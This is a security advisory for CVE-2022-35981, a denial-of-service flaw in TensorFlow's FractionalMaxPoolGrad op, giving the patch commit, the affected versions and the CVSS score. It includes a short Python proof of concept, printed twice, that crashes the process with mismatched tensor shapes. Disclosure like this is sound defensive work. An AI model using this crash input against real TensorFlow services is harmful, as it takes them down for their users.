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TensorFlow vulnerable to `CHECK` fail in `FractionalMaxPoolGrad`

TensorFlow

CVE-2022-35981 · Published Sep 16, 2022 · updated Jul 13, 2026

Medium5.9
Fix: upgrade to 2.7.2 or later (3 fixed versions below)
GitHub advisory

Impact

FractionalMaxPoolGrad validates its inputs with CHECK failures instead of with returning errors. If it gets incorrectly sized inputs, the CHECK failure can be used to trigger a denial of service attack:

```python

import tensorflow as tf

overlapping = True

orig_input = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)

orig_output = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)

out_backprop = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)

row_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64)

col_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64)

tf.raw_ops.FractionalMaxPoolGrad(orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=overlapping)

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Patches

We have patched the issue in GitHub commit [8741e57d163a079db05a7107a7609af70931def4](https://github.com/tensorflow/tensorflow/commit/8741e57d163a079db05a7107a7609af70931def4).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding...

Affected versions

PackageAffectedFixed in
tensorflow
PyPI
< 2.7.22.7.2
>= 2.8.0, < 2.8.12.8.1
>= 2.9.0, < 2.9.12.9.1
Details and references

### Impact `FractionalMaxPoolGrad` validates its inputs with `CHECK` failures instead of with returning errors. If it gets incorrectly sized inputs, the `CHECK` failure can be used to trigger a denial of service attack: ```python import tensorflow as tf overlapping = True orig_input = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32) orig_output = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32) out_backprop = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32) row_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64) col_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64) tf.raw_ops.FractionalMaxPoolGrad(orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=overlapping) ``` ### Patches We have patched the issue in GitHub commit [8741e57d163a079db05a7107a7609af70931def4](https://github.com/tensorflow/tensorflow/commit/8741e57d163a079db05a7107a7609af70931def4). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

CVSS 3.1
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Severity from
GitHub (reviewed advisory)
Weakness
CWE-617
Also known as
BIT-tensorflow-2022-35981, CVE-2022-35981, PYSEC-2026-1041, PYSEC-2026-3250, PYSEC-2026-3375

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